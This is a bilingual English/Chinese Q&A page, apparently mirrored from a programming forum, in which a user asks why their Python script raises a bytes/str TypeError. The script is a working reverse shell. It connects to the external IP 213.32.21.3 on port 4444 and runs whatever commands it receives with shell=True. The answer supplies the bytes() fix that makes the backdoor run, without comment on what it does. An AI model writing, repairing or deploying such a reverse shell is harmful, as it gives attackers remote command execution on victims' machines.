[英]Python ERROR TypeError: a bytes-like object is required, not 'str'
I don't understand what is the problem please help我不明白是什么问题请帮忙
when run in console it gives the following error:在控制台中运行时出现以下错误:
TypeError: a bytes-like object is required, not 'str'
#!/usr/bin/env python
import socket
import subprocess
def execute_system_command(command):
return subprocess.check_output(command, shell = True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("213.32.21.3", 4444))
connection.send("\n[+] Connection established. \n")
while True:
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(command_result)
connection.close()
You need to send your message as bytes and not as str.您需要以字节而不是 str 的形式发送消息。 Just do this:只需这样做:
connection.send(bytes(<Your Message>, "utf-8"))
Parse your message as first parameter for the bytes function.将您的消息解析为字节 function 的第一个参数。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.